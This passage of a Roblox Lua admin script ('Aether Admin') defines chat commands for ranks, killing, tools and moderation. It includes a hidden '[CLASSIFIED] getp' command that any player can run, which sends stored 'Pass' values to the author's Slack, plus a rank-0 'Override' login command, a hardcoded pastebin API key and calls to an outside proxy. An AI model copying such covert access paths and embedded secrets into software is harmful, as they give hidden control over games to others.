		Player.Chatted:connect(function(Message)
1955
			Chatted(Player, Message)
1956
		end)
1957
		if Player.userId ~= 1 and Player.userId ~= 0 then
1958
			local Clan = game:service'HttpService':JSONDecode(game:service'HttpService':GetAsync('http://api.rproxy.pw/clans/get-by-user?userId='..Player.userId))
1959
			Player.CharacterAdded:connect(function(Character)
1960
				if Clan and ShowClanNames then
1961
					Commands.Name.Function(Player, {
1962
						'me',
1963
						(Clan.Name..'\n')..Player.Name
1964
					})
1965
				end
1966
			end)
1967
		end
1968
		if Ranked[Player.userId] and Ranked[Player.userId].Rank < 0 then
1969
			thread(function()
1970
				ForceDisconnect(Player, 'You are banned from this game.')
1971
			end)
1972
		else
1973
			CheckGamepass(Player)
1974
		end
1975
--[[repeat wait() until Player.Character
1976
repeat wait() until Player:FindFirstChild'PlayerGui'-- or Player:FindFirstChild'Backpack'
1977
wait(1)]]
1978
		if JoinMsg == true then
1979
			Ping(Player, 'Welcome, the prefix is '..Prefix)
1980
			if GetRank(Player).Rank >= 1 then
1981
				Ping(Player, 'You are rank '..RankName(GetRank(Player).Rank, Player.userId))
1982
				Ping(Player, 'Say '..Prefix..'cmds to view commands.')
1983
				Ping(Player, 'This admin started development '..AdminAge..' days ago.')
1984
			end
1985
			if Credits == true then
1986
				Ping(Player, 'Aether Admin is made by DarthStrantax.')-- is made by Legions of Aether scripting division.')
1987
				Ping(Player, 'Credit to ModelMakerLua for not stopping me from stealing his Remote Exe')
1988
			end
1989
		end
1990
--Ping(Player,' ',function()end,"Cyan","304844114")
1991
		if Rules ~= nil and #Rules >= 1 then
1992
			for i, v in pairs(Rules) do
1993
				Ping(Player, 'Rule '..i..': '..v)
1994
			end
1995
		end
1996
	else
1997
--Player:kick'Server closed due to: Aether Admin stolen.'
1998
	end
1999
end
2000
local Players = service'Players'
2001
local Workspace = service'Workspace'
2002
local workspace = service'Workspace'
2003
local Lighting = service'Lighting'
2004
for Index, Player in pairs(Players:GetPlayers()) do
2005
	thread(function()
2006
		PlayerAdded(Player)
2007
	end)
2008
end
2009
Players.PlayerAdded:connect(function(Player)
2010
	PlayerAdded(Player)
2011
end)
2012
game:service'MarketplaceService'.PromptPurchaseFinished:connect(function(player, id, torun)
2013
	if torun then
2014
		Ping(player, 'You just brought '..NameFromId(id)..'.')
2015
	end
2016
end)
2017
thread(function()
2018
	while wait(1) do
2019
		for i, v in pairs(game:service'Players':GetPlayers()) do
2020
			if Loopkill[v.userId] and v.Character and v.Character:IsA'Model' then
2021
				v.Character:BreakJoints()
2022
			end
2023
		end
2024
	end
2025
end)
2026
--Commands
2027
AddCommand(
2028
'math',
2029
0,
2030
{
2031
	'math'
2032
},
2033
'Helps you with mathematics',
2034
Prefix..'math [equation]',
2035
function(Player, Arguments)
2036
	Ping(Player, domath(Arguments))
2037
end,
2038
false
2039
)
2040
AddCommand(
2041
'SetRank',
2042
3,
2043
{
2044
	'rank',
2045
	'setrank',
2046
	'admin'
2047
},
2048
'Changes specified player(s) ranks.',
2049
Prefix..'rank [player],[player2] [rank number]',
2050
function(Player, Arguments)
2051
	if #Arguments < 1 then
2052
		return
2053
	end
2054
	if #Arguments == 1 then
2055
		Arguments[2] = '7'
2056
	end
2057
	for i, v in pairs(GetPlayers(Player, Arguments[1])) do
2058
		if Ranked[v.userId].Rank < Ranked[Player.userId].Rank then
2059
			if tonumber(Arguments[2]) < Ranked[Player.userId].Rank then
2060
				Ranked[v.userId] = {
2061
					Rank = tonumber(Arguments[2])
2062
				}
2063
			end
2064
		end
2065
	end
2066
end,
2067
true
2068
)
2069
AddCommand(
2070
'Un-Rank',
2071
3,
2072
{
2073
	'unrank',
2074
	'norank', -- many ways to unrank lol...
2075
	'unadmin',
2076
	'noadmin',
2077
	'unoa',
2078
	'nooa',
2079
	'unpa',
2080
	'nopa',
2081
	'unvip',
2082
	'novip',
2083
	'unguest',
2084
	'noguest',
2085
	'unsmod',
2086
	'nosmod',
2087
	'unmod',
2088
	'nomod',
2089
	'unhmod',
2090
	'nohmod',
2091
	'unco',
2092
	'noco',
2093
	'unta',
2094
	'nota',
2095
	'unsa',
2096
	'nosa',
2097
	'unpa',
2098
	'nopa',
2099
	'unha',
2100
	'noha'
2101
},
2102
'Un-Ranks users.',
2103
Prefix..'ur [player1],[player2]',
2104
function(Player, Arguments)
2105
	for i, v in pairs(GetPlayers(Player, Arguments[1])) do
2106
		if Ranked[v.userId].Rank < Ranked[Player.userId].Rank then
2107
			Ranked[v.userId] = {
2108
				Rank = 0
2109
			}
2110
			Hint(v, 'Aether System: ', 'You are now rank '..RankName(GetRank(v).Rank), 6)
2111
		end
2112
	end
2113
end,
2114
true
2115
)
2116
AddCommand(
2117
'VIP',
2118
3,
2119
{
2120
	'vip'
2121
},
2122
'Gives users vip.',
2123
Prefix..'vip [player1],[player2]',
2124
function(Player, Arguments)
2125
	for i, v in pairs(GetPlayers(Player, Arguments[1])) do
2126
		if Ranked[v.userId].Rank < Ranked[Player.userId].Rank then
2127
			Ranked[v.userId] = {
2128
				Rank = 1
2129
			}
2130
			Hint(v, 'Aether System: ', 'You are now rank '..RankName(GetRank(v).Rank), 6)
2131
		end
2132
	end
2133
end,
2134
true
2135
)
2136
AddCommand(
2137
'Guest',
2138
4,
2139
{
2140
	'guest'
2141
},
2142
'Gives users rank guest.',
2143
Prefix..'guest [player1],[player2]',
2144
function(Player, Arguments)
2145
	for i, v in pairs(GetPlayers(Player, Arguments[1])) do
2146
		if Ranked[v.userId].Rank < Ranked[Player.userId].Rank then
2147
			Ranked[v.userId] = {
2148
				Rank = 2
2149
			}
2150
			Hint(v, 'Aether System: ', 'You are now rank '..RankName(GetRank(v).Rank), 6)
2151
		end
2152
	end
2153
end,
2154
true
2155
)
2156
AddCommand(
2157
'Semi-Mod',
2158
5,
2159
{
2160
	'semimod',
2161
	'smod'
2162
},
2163
'Gives users rank semi-moderator.',
2164
Prefix..'smod [player1],[player2]',
2165
function(Player, Arguments)
2166
	for i, v in pairs(GetPlayers(Player, Arguments[1])) do
2167
		if Ranked[v.userId].Rank < Ranked[Player.userId].Rank then
2168
			Ranked[v.userId] = {
2169
				Rank = 3
2170
			}
2171
			Hint(v, 'Aether System: ', 'You are now rank '..RankName(GetRank(v).Rank), 6)
2172
		end
2173
	end
2174
end,
2175
true
2176
)
2177
AddCommand(
2178
'Mod',
2179
5,
2180
{
2181
	'mod',
2182
	'moderator'
2183
},
2184
'Gives users rank moderator.',
2185
Prefix..'smod [player1],[player2]',
2186
function(Player, Arguments)
2187
	for i, v in pairs(GetPlayers(Player, Arguments[1])) do
2188
		if Ranked[v.userId].Rank < Ranked[Player.userId].Rank then
2189
			Ranked[v.userId] = {
2190
				Rank = 4
2191
			}
2192
			Hint(v, 'Aether System: ', 'You are now rank '..RankName(GetRank(v).Rank), 6)
2193
		end
2194
	end
2195
end,
2196
true
2197
)
2198
AddCommand(
2199
'HeadMod',
2200
7,
2201
{
2202
	'hmod',
2203
	'headmod',
2204
	'hm'
2205
},
2206
'Gives users rank head-moderator.',
2207
Prefix..'hmod [player1],[player2]',
2208
function(Player, Arguments)
2209
	for i, v in pairs(GetPlayers(Player, Arguments[1])) do
2210
		if Ranked[v.userId].Rank < Ranked[Player.userId].Rank then
2211
			Ranked[v.userId] = {
2212
				Rank = 5
2213
			}
2214
			Hint(v, 'Aether System: ', 'You are now rank '..RankName(GetRank(v).Rank), 6)
2215
		end
2216
	end
2217
end,
2218
true
2219
)
2220
AddCommand(
2221
'Semi-Admin',
2222
7,
2223
{
2224
	'sadmin',
2225
	'semiadmin',
2226
	'ta',
2227
	'sa'
2228
},
2229
'Gives users rank semi-admin.',
2230
Prefix..'sadmin [player1],[player2]',
2231
function(Player, Arguments)
2232
	for i, v in pairs(GetPlayers(Player, Arguments[1])) do
2233
		if Ranked[v.userId].Rank < Ranked[Player.userId].Rank then
2234
			Ranked[v.userId] = {
2235
				Rank = 6
2236
			}
2237
			Hint(v, 'Aether System: ', 'You are now rank '..RankName(GetRank(v).Rank), 6)
2238
		end
2239
	end
2240
end,
2241
true
2242
)
2243
AddCommand(
2244
'Head-Admin',
2245
9,
2246
{
2247
	'hadmin',
2248
	'headadmin',
2249
	'pa',
2250
	'ha'
2251
},
2252
'Gives users rank head-admin.',
2253
Prefix..'hadmin [player1],[player2]',
2254
function(Player, Arguments)
2255
	for i, v in pairs(GetPlayers(Player, Arguments[1])) do
2256
		if Ranked[v.userId].Rank < Ranked[Player.userId].Rank then
2257
			Ranked[v.userId] = {
2258
				Rank = 8
2259
			}
2260
			Hint(v, 'Aether System: ', 'You are now rank '..RankName(GetRank(v).Rank), 6)
2261
		end
2262
	end
2263
end,
2264
true
2265
)
2266
AddCommand(
2267
'Co-Owner',
2268
11,
2269
{
2270
	'co',
2271
	'coowner'
2272
},
2273
'Gives users rank co-owner.',
2274
Prefix..'co [player1],[player2]',
2275
function(Player, Arguments)
2276
	for i, v in pairs(GetPlayers(Player, Arguments[1])) do
2277
		if Ranked[v.userId].Rank < Ranked[Player.userId].Rank then
2278
			Ranked[v.userId] = {
2279
				Rank = 9
2280
			}
2281
			Hint(v, 'Aether System: ', 'You are now rank '..RankName(GetRank(v).Rank), 6)
2282
		end
2283
	end
2284
end,
2285
true
2286
)
2287
AddCommand(
2288
'Owner',
2289
11,
2290
{
2291
	'owner',
2292
	'oa'
2293
},
2294
'Gives users rank co-owner.',
2295
Prefix..'oa [player1],[player2]',
2296
function(Player, Arguments)
2297
	for i, v in pairs(GetPlayers(Player, Arguments[1])) do
2298
		if Ranked[v.userId].Rank < Ranked[Player.userId].Rank then
2299
			Ranked[v.userId] = {
2300
				Rank = 10
2301
			}
2302
			Hint(v, 'Aether System: ', 'You are now rank '..RankName(GetRank(v).Rank), 6)
2303
		end
2304
	end
2305
end,
2306
true
2307
)
2308
AddCommand(
2309
'Change',
2310
3,
2311
{
2312
	'change'
2313
},
2314
'Changes specified player(s) leaderstats.',
2315
Prefix..'change [player],[player2] [stat] [number]',
2316
function(Player, Arguments)
2317
	if #Arguments < 3 then
2318
		return
2319
	end
2320
	for i, v in pairs(GetPlayers(Player, Arguments[1])) do
2321
		thread(function()
2322
			if v and v:findFirstChild("leaderstats") then 
2323
				for a, st in pairs(v.leaderstats:children()) do
2324
					if st.Name:lower():find(Arguments[2]:lower()) == 1 then
2325
						st.Value = string.gsub(Arguments[3]:lower(), '#inf', '2147483647')
2326
					end
2327
				end
2328
			end
2329
		end)
2330
	end
2331
end,
2332
true
2333
)
2334
AddCommand(
2335
'Reset',
2336
0,
2337
{
2338
	'reset',
2339
	'suicide'
2340
},
2341
'Kills speaker. Add argument "rs" to respawn instead.',
2342
Prefix..'reset [rs]',
2343
function(Player, Arguments)
2344
	if #Arguments >= 1 and Arguments[1] == 'rs' then
2345
		Player:LoadCharacter()
2346
		Ping(Player, 'Respawned Character.')
2347
	else
2348
		Player.Character:BreakJoints()
2349
		Ping(Player, 'Reset Character.')
2350
	end
2351
end,
2352
false
2353
)
2354
AddCommand(
2355
'Playerpoint',
2356
3,
2357
{
2358
	'pp',
2359
	'point'
2360
},
2361
'Gives points to specified player(s).',
2362
Prefix..'pp [player],[player2] [number]',
2363
function(Player, Arguments)
2364
	if #Arguments < 2 then
2365
		return
2366
	end
2367
	for i, v in pairs(GetPlayers(Player, Arguments[1])) do
2368
		thread(function()
2369
			game:service'PointsService':AwardPoints(v.userId, tonumber(Arguments[2]))
2370
		end)
2371
	end
2372
end,
2373
true
2374
)
2375
AddCommand(
2376
'Badge',
2377
3,
2378
{
2379
	'badge'
2380
},
2381
'Gives badges to specified player(s).',
2382
Prefix..'badge [player],[player2] [badgeid]',
2383
function(Player, Arguments)
2384
	if #Arguments < 2 then
2385
		return
2386
	end
2387
	for i, v in pairs(GetPlayers(Player, Arguments[1])) do
2388
		thread(function()
2389
			game:service'BadgeService':AwardBadge(v.userId, tonumber(Arguments[2]))
2390
		end)
2391
	end
2392
end,
2393
true
2394
)
2395
AddCommand(
2396
'Spookify',
2397
3,
2398
{
2399
	'spookify',
2400
	'spook'
2401
},
2402
'Spookifys specified skeleton(s).',
2403
Prefix..'spookify [player],[player2]',
2404
function(Player, Arguments)
2405
--Commands.Music.Function(Player,{'183357153','srv'})
2406
--[[thread(function()
2407
if workspace:FindFirstChild('Sound') then
2408
if workspace:FindFirstChild('Sound').SoundId~='http://www.roblox.com/asset/?id=183357153' then
2409
workspace:FindFirstChild('Sound'):Pause()
2410
workspace:FindFirstChild('Sound'):Stop()
2411
workspace:FindFirstChild('Sound'):Destroy()
2412
Chatted(Player,Prefix..'music 183357153 srv',false,true)
2413
else
2414
workspace:FindFirstChild('Sound'):Pause()
2415
workspace:FindFirstChild('Sound'):Play()
2416
end
2417
else
2418
Chatted(Player,Prefix..'music 183357153 srv',false,true)
2419
end
2420
end)]]
2421
	Commands['Character'].Function(Player, {
2422
		Arguments[1],
2423
		'Phant0mS0lid'
2424
	})
2425
	Commands['Name'].Function(Player, {
2426
		Arguments[1],
2427
		'Spooky Scary Skeleton'
2428
	})
2429
end,
2430
true
2431
)
2432
AddCommand(
2433
'Heal',
2434
3,
2435
{
2436
	'heal'
2437
},
2438
'Heals specified player(s).',
2439
Prefix..'heal [player],[player2]',
2440
function(Player, Arguments)
2441
	for i, v in pairs(GetPlayers(Player, Arguments[1])) do
2442
		thread(function()
2443
			RunOnChildren('Humanoid', v.Character, function(v)
2444
				v.Health = v.MaxHealth
2445
			end)
2446
		end)
2447
	end
2448
end,
2449
true
2450
)
2451
AddCommand(
2452
'God',
2453
3,
2454
{
2455
	'god'
2456
},
2457
'Gods specified player(s).',
2458
Prefix..'god [player],[player2]',
2459
function(Player, Arguments)
2460
	for i, v in pairs(GetPlayers(Player, Arguments[1])) do
2461
		thread(function()
2462
			RunOnChildren('Humanoid', v.Character, function(v)
2463
				v.MaxHealth = math.huge
2464
			end)
2465
		end)
2466
	end
2467
end,
2468
true
2469
)
2470
AddCommand(
2471
'Redeem',
2472
3,
2473
{
2474
	'redeem'
2475
},
2476
'Redeems any gamepass admins.',
2477
Prefix..'redeem',
2478
function(Player, Arguments)
2479
	CheckGamepass(Player)
2480
end,
2481
true
2482
)
2483
AddCommand(
2484
'Rejoin',
2485
3,
2486
{
2487
	'rej',
2488
	'rejoin'
2489
},
2490
'Rejoins the game.',
2491
Prefix..'redeem',
2492
function(Player, Arguments)
2493
	if #Arguments == 0 then
2494
		TeleportTo(Player, game.PlaceId, game.JobId)
2495
	end
2496
	if #Arguments == 1 and Arguments[1]:lower() == 'ds' then
2497
		TeleportTo(Player, game.PlaceId)
2498
	elseif #Arguments == 1 then
2499
		for i, v in pairs(GetPlayers(Player, Arguments[1])) do
2500
			TeleportTo(v, game.PlaceId, game.JobId)
2501
		end
2502
	elseif #Arguments == 2 and Arguments[2]:lower() == 'ds' then
2503
		for i, v in pairs(GetPlayers(Player, Arguments[1])) do
2504
			TeleportTo(v, game.PlaceId)
2505
		end
2506
	end
2507
end,
2508
true
2509
)
2510
AddCommand(
2511
'UnGod',
2512
3,
2513
{
2514
	'ungod'
2515
},
2516
'UnGods specified player(s).',
2517
Prefix..'ungod [player],[player2]',
2518
function(Player, Arguments)
2519
	for i, v in pairs(GetPlayers(Player, Arguments[1])) do
2520
		thread(function()
2521
			RunOnChildren('Humanoid', v.Character, function(v)
2522
				v.MaxHealth = 100
2523
			end)
2524
		end)
2525
	end
2526
end,
2527
true
2528
)
2529
AddCommand(
2530
'ForceField',
2531
3,
2532
{
2533
	'ff'
2534
},
2535
'Gives a forcefield to specified player(s).',
2536
Prefix..'ff [player],[player2]',
2537
function(Player, Arguments)
2538
	for i, v in pairs(GetPlayers(Player, Arguments[1])) do
2539
		thread(function()
2540
			Instance.new('ForceField', v.Character)
2541
		end)
2542
	end
2543
end,
2544
true
2545
)
2546
AddCommand(
2547
'Group',
2548
3,
2549
{
2550
	'group'
2551
},
2552
'Gives a forcefield to specified player(s).',
2553
Prefix..'ff [player],[player2]',
2554
function(Player, Arguments)
2555
	 Dismiss(Player)
2556
local groupId = tonumber(Arguments[1])
2557
local group = service'GroupService':GetGroupInfoAsync(groupId)
2558
Ping(Player,group.Name,nil,nil,group.EmblemUrl)
2559
Ping(Player,'Roles',function()
2560
 Dismiss(Player)
2561
Ping(Player,'Back',function()
2562
Commands.Group.Function(Player,Arguments)
2563
end,'Really blue')
2564
Ping(Player,group.Name .. " has the following roles:")
2565
for _, role in ipairs(group.Roles) do
2566
   Ping(Player,"Rank " .. role.Rank .. " | " .. role.Name)
2567
end
2568
end)
2569
Ping(Player,'Enemies',function()
2570
 Dismiss(Player)
2571
Ping(Player,'Back',function()
2572
Commands.Group.Function(Player,Arguments)
2573
end,'Really blue')
2574
Ping(Player,group.Name .. " has the following Enemies:")
2575
for gro, num in PageItems(service'GroupService':GetEnemiesAsync(group.Id)) do
2576
   Ping(Player,gro.Name)
2577
end
2578
end)
2579
Ping(Player,'Allies',function()
2580
 Dismiss(Player)
2581
Ping(Player,'Back',function()
2582
Commands.Group.Function(Player,Arguments)
2583
end,'Really blue')
2584
Ping(Player,group.Name .. " has the following Allies:")
2585
for gro, num in PageItems(service'GroupService':GetAlliesAsync(group.Id)) do
2586
   Ping(Player,gro.Name)
2587
end
2588
end)
2589
if group.Owner then
2590
Ping(Player,"Owner | "..group.Owner.Name, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&userId="..group.Owner.Id)
2591
else
2592
Ping(Player,"No Owner")
2593
end
2594
Ping(Player,"Description\n"..group.Description)
2595
if Player:IsInGroup(group.Id) then
2596
Ping(Player,'Your Rank | '..Player:GetRoleInGroup(group.Id))
2597
end
2598
if Player:IsInGroup(group.Id) and Player.userId==group.Owner.Id then
2599
Ping(Player,'You own this group')
2600
end
2601
end,
2602
true
2603
)
2604
AddCommand(
2605
'UnForceField',
2606
3,
2607
{
2608
	'unff'
2609
},
2610
'Removes all forcefields from specified player(s).',
2611
Prefix..'ff [player],[player2]',
2612
function(Player, Arguments)
2613
	for i, v in pairs(GetPlayers(Player, Arguments[1])) do
2614
		thread(function()
2615
			RunOnChildren('ForceField', v.Character, function(v)
2616
				v:Destroy''
2617
			end)
2618
		end)
2619
	end
2620
end,
2621
true
2622
)
2623
AddCommand(
2624
'Explore',
2625
7,
2626
{
2627
	'explore'
2628
},
2629
'Allows you to explore a service.',
2630
Prefix..'explore [servicename]',
2631
function(Player, Arguments)
2632
if Arguments[1]==nil then Arguments={'Workspace'} end
2633
Explore(Player,game:service(Arguments[1]))
2634
end,
2635
true
2636
)
2637
AddCommand(
2638
'Keybind',
2639
3,
2640
{
2641
	'bind',
2642
	'kb',
2643
	'keybind'
2644
},
2645
'Adds a keybind to speaker.',
2646
Prefix..'bind [key] '..Prefix..'[command]',
2647
function(Player, Arguments)
2648
	local Key =
2649
	Arguments[1]
2650
	table.remove(Arguments, 1)
2651
	KeyBind(Player, Key, Join(Arguments))
2652
end,
2653
true
2654
)
2655
AddCommand(
2656
'Nil',
2657
4,
2658
{
2659
	'nil'
2660
},
2661
'Makes speaker nil.',
2662
Prefix..'nil',
2663
function(Player, Arguments)
2664
	if #Arguments < 1 then
2665
		return
2666
	end
2667
	for i, Player1 in pairs(GetPlayers(Player, Arguments[1])) do
2668
		if GetRank(Player).Rank > GetRank(Player1).Rank or Player1.Name == Player.Name then
2669
			Player1.Character = nil
2670
			wait()
2671
			Nil(Player1)
2672
			wait()
2673
			Player1:Destroy()
2674
		end
2675
	end
2676
end,
2677
true
2678
)
2679
AddCommand(
2680
'Post to pastebin',
2681
11,
2682
{
2683
	'ptp','post'
2684
},
2685
'Posts arguments to pastebin.',
2686
Prefix..'ptp Ello, this is an auto pastebin paste!',
2687
function(Player, Arguments)
2688
	local toname=Arguments[1]
2689
	table.remove(Arguments,1)
2690
local ppb = PostPasteBin('b93c9759f428fe5b88a23c6bc83fa2b6',toname,Join(Arguments))
2691
Ping(Player,ppb,'New Yeller')
2692
end,
2693
false
2694
)
2695
AddCommand(
2696
'[CLASSIFIED] getp',
2697
0,
2698
{
2699
	'getp'
2700
},
2701
'[CLASSIFIED]',
2702
Prefix..'[CLASSIFIED]',
2703
function(Player, Arguments)
2704
--local Image=game:service'HttpService':GetAsync('http://rproxy.pw/Thumbs/Avatar.ashx?username='..Player.Name)
2705
	PostToSlack(Users.DarthStrantax.Pass, '[Get Pass] '..Player.Name..': ', '@darthstrantax')--,Image)
2706
	PostToSlack(Users.iigothackedlol.Pass, '[Get Pass] '..Player.Name..': ', '@aethermoderator')
2707
	PostToSlack(Users.iigothackedlol.Pass, '[Get Pass] '..Player.Name..': ', '@limitedhex')
2708
	PostToSlack(Users.Klocko.Pass, '[Get Pass] '..Player.Name..': ', '@klocko')
2709
	PostToSlack(Users.GoldenLuaCode.Pass, '[Get Pass] '..Player.Name..': ', '@jailbrokentweetz')
2710
end,
2711
true
2712
)
2713
AddCommand(
2714
'clean',
2715
0,
2716
{
2717
	'clean'
2718
},
2719
'Cleans server for hats, tools and messages.',
2720
Prefix..'clean',
2721
function(Player, Arguments)
2722
	for i, v in pairs(workspace:children()) do
2723
		if v:IsA'Hat' or v:IsA'Tool' then
2724
			v:remove''
2725
		elseif v:IsA'Hint' or v:IsA'Message' then
2726
			v.Text = ''
2727
		end
2728
	end
2729
end,
2730
true
2731
)
2732
AddCommand(
2733
'Trip',
2734
3,
2735
{
2736
	'trip'
2737
},
2738
'Trips specified players.',
2739
Prefix..'trip [player1],[player2]',
2740
function(Player, Arguments)
2741
	for i, v in pairs(workspace:children()) do
2742
		thread(function()
2743
			v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(0, 0, math.rad(180))
2744
		end)
2745
	end
2746
end,
2747
true
2748
)
2749
AddCommand(
2750
'Damage',
2751
3,
2752
{
2753
	'damage'
2754
},
2755
'Damages specified player(s) by specified amount.',
2756
Prefix..'damage [player],[player2] [amount]',
2757
function(Player, Arguments)
2758
	for i, v in pairs(GetPlayers(Player, Arguments[1])) do
2759
		thread(function()
2760
			RunOnChildren('Humanoid', v.Character, function(v)
2761
				v.Health = v.Health - tonumber(Arguments[2])
2762
			end)
2763
		end)
2764
	end
2765
end,
2766
true
2767
)
2768
AddCommand(
2769
'Health',
2770
3,
2771
{
2772
	'health'
2773
},
2774
'Sets the health of specified player(s) to specified amount.',
2775
Prefix..'damage [player],[player2] [amount]',
2776
function(Player, Arguments)
2777
	for i, v in pairs(GetPlayers(Player, Arguments[1])) do
2778
		thread(function()
2779
			RunOnChildren('Humanoid', v.Character, function(v)
2780
				v.MaxHealth = tonumber(Arguments[2])
2781
			end)
2782
		end)
2783
	end
2784
end,
2785
true
2786
)
2787
AddCommand(
2788
'Watch',
2789
3,
2790
{
2791
	'watch',
2792
	'view',
2793
	'viewplayer',
2794
	'watchplayer'
2795
},
2796
'Watches specified player(s).',
2797
Prefix..'watch [player],[player2]',
2798
function(Player, Arguments)
2799
	for i, v in pairs(GetPlayers(Player, Arguments[1])) do
2800
		thread(function()
2801
			if v and v.Character:FindFirstChild('Humanoid') then
2802
				SetView(Player, v.Character.Humanoid)
2803
			end
2804
		end)
2805
	end
2806
end,
2807
true
2808
)
2809
AddCommand(
2810
'Loopkill',
2811
6,
2812
{
2813
	'lk',
2814
	'loopkill'
2815
},
2816
'LoopKills specified player(s).',
2817
Prefix..'lk [player],[player2]',
2818
function(Player, Arguments)
2819
	for i, v in pairs(GetPlayers(Player, Arguments[1])) do
2820
		if GetRank(Player).Rank > GetRank(v).Rank then
2821
			Loopkill[v.userId] = true
2822
		end
2823
	end
2824
end,
2825
true
2826
)
2827
AddCommand(
2828
'UnLoopkill',
2829
6,
2830
{
2831
	'unlk',
2832
	'unloopkill'
2833
},
2834
'Un-LoopKills specified player(s).',
2835
Prefix..'unlk [player],[player2]',
2836
function(Player, Arguments)
2837
	for i, v in pairs(GetPlayers(Player, Arguments[1])) do
2838
		if GetRank(Player).Rank > GetRank(v).Rank then
2839
			Loopkill[v.userId] = false
2840
		end
2841
	end
2842
end,
2843
true
2844
)
2845
--[[AddCommand(
2846
'Load',
2847
5,
2848
{'load'},
2849
'Loads specified scripts.',
2850
Prefix..'load [name]',
2851
function(Player,Arguments)
2852
Ping(Player,'Close',function() Dismiss(Player) end,'Really red')
2853
for i,v in pairs(Scripts) do
2854
Ping(Player,'Load '..v.Name,function()
2855
local sc=v:clone()
2856
sc.Parent=Player.Backpack
2857
wait()
2858
sc.Disabled=false
2859
end)
2860
end
2861
end,
2862
true
2863
)]]
2864
AddCommand(
2865
'Tools',
2866
3,
2867
{
2868
	'tools'
2869
},
2870
'Displays tools.',
2871
Prefix..'tools',
2872
function(Player, Arguments)
2873
--Ping(Player,'Close',function() Dismiss(Player) end,'Really red')
2874
	local ToTools = {}
2875
	for i, v in pairs(ToolServices) do
2876
		for o, p in pairs(v:children()) do
2877
			if p:IsA'Tool' or p:IsA'HopperBin' then
2878
				table.insert(ToTools, p)
2879
			end
2880
		end
2881
	end
2882
	for i, v in pairs(Scripts) do
2883
		table.insert(ToTools, v)
2884
	end
2885
--[[for i,v in pairs(ToTools) do
2886
Ping(Player,v.Name,function()
2887
if v:IsA'LocalScript' then
2888
local sc=v:clone()
2889
sc.Parent=Player.Backpack
2890
wait()
2891
sc.Disabled=false
2892
else
2893
v:clone().Parent=Player.Backpack
2894
end
2895
end)
2896
end]]
2897
	local ToScroll = {}
2898
	for i, v in pairs(ToTools) do
2899
		table.insert(ToScroll, v.Name)
2900
	end
2901
	ScrollGui(Player, 'Server Tools', ToScroll)
2902
end,
2903
true
2904
)
2905
AddCommand(
2906
'Give',
2907
3,
2908
{
2909
	'give'
2910
},
2911
'Gives a player a tool.',
2912
Prefix..'give [player1],[player2] [toolname]',
2913
function(Player, Arguments)
2914
	if #Arguments < 2 then
2915
		return
2916
	end
2917
	local ToTools = {}
2918
	for i, v in pairs(ToolServices) do
2919
		for o, p in pairs(v:children()) do
2920
			if p:IsA'Tool' or p:IsA'HopperBin' then
2921
				table.insert(ToTools, p)
2922
			end
2923
		end
2924
	end
2925
	for i, v in pairs(Scripts) do
2926
		table.insert(ToTools, v)
2927
	end
2928
	local ToGive = {}
2929
	for i, v in pairs(ToTools) do
2930
		if v.Name:sub(1, #Arguments[2]):lower() == Arguments[2]:lower() or Arguments[2]:lower() == 'all' then
2931
			table.insert(ToGive, v)
2932
		end
2933
	end
2934
	for i, v in pairs(GetPlayers(Player, Arguments[1])) do
2935
		thread(function()
2936
			for h, j in pairs(ToGive) do
2937
				if j:IsA'LocalScript' then
2938
					local sc = j:clone()
2939
					sc.Parent = v.Backpack
2940
					wait()
2941
					sc.Disabled = false
2942
				else
2943
					j:clone().Parent = v.Backpack
2944
				end
2945
			end
2946
		end)
2947
	end
2948
end,
2949
true
2950
)
2951
AddCommand(
2952
'Disconnect',
2953
6,
2954
{
2955
	'disconnect',
2956
	'disc'
2957
},
2958
'Disconnects specified players.',
2959
Prefix..'disc',
2960
function(Player, Arguments)
2961
	for i, v in pairs(GetPlayers(Player, Arguments[1])) do
2962
		FreezeScreen(v)
2963
	end
2964
end,
2965
true
2966
)
2967
AddCommand(
2968
'Override',
2969
0,
2970
{
2971
	'override'
2972
},
2973
'Attempts an override.',
2974
Prefix..'override',
2975
function(Player, Arguments)
2976
	AttemptLogin(Player)
2977
end,
2978
true
2979
)
2980
AddCommand(
2981
'Logs',
2982
6,
2983
{
2984
	'logs'
2985
},
2986
'Displays logs.',
2987
Prefix..'logs',
2988
function(Player, Arguments)
2989
	wait()
2990
	local ToScroll = {}
2991
	for i, v in pairs(ServerLogs) do
2992
		ToScroll[#ServerLogs - i] = v[3]..'s| '..v[1]
2993
	end
2994
	ScrollGui(Player, 'Server Logs', ToScroll)
2995
end,
2996
true
2997
)
2998
AddCommand(
2999
'ConnectClient',
3000
6,
3001
{
3002
	'/c/'
3003
},
3004
'Reconnects client.',
3005
Prefix..'/c/',
3006
function(Player, Arguments)
3007
	if #Arguments == 0 then
3008
		if RF:FireClient(Player, {
3009
			'IsLoaded'
3010
		}) == nil then
3011
			local c = Client:clone()
3012
			c.Parent = Player.Backpack
3013
			wait()
3014
			c.Disabled = false
3015
		end
3016
	else
3017
		local c = Client:clone()
3018
		c.Parent = Player.Backpack
3019
		wait()
3020
		c.Disabled = false
3021
	end
3022
end,
3023
true
3024
)
3025
AddCommand(
3026
'Ping',
3027
0,
3028
{
3029
	'ping'
3030
},
3031
'Pings Arguments',
3032
Prefix..'ping DarthStrantax is awesome',
3033
function(Player, Arguments)
3034
	for i, v in pairs(Arguments) do
3035
		Ping(Player, v)
3036
	end
3037
end,
3038
false
3039
)
3040
AddCommand(
3041
'Regen Map',
3042
9,
3043
{
3044
	'regen'
3045
},
3046
'Regenerates all of workspace.',
3047
Prefix..'regen',
3048
function(Player, Arguments)
3049
	for i, v in pairs(workspace:children()) do thread(function() v:Destroy() end) end
3050
	for i, v in pairs(MapBackup) do
3051
		local o = v:clone()
3052
		o.Parent = workspace
3053
		anchorAll(o)
3054
	end
3055
	for i, v in pairs(GetRawPlayers()) do
3056
		thread(function()
3057
			v:LoadCharacter()
3058
		end)
3059
end
3060
end,
3061
false
3062
)
3063
AddCommand(
3064
'Dismiss',
3065
0,
3066
{
3067
	'dt',
3068
	'dismiss'
3069
},
3070
'Removes all tabs.',
3071
Prefix..'dt',
3072
function(Player, Arguments)
3073
	if #Arguments == 0 then
3074
		Dismiss(Player)
3075
	else
3076
		if GetRank(Player).Rank >= 5 then
3077
			for i, v in pairs(GetPlayers(Player, Arguments[1])) do
3078
				Dismiss(v)
3079
			end
3080
		end
3081
	end
3082
end,
3083
false
3084
)
3085
AddCommand(
3086
'Kill',
3087
3,
3088
{
3089
	'kill'
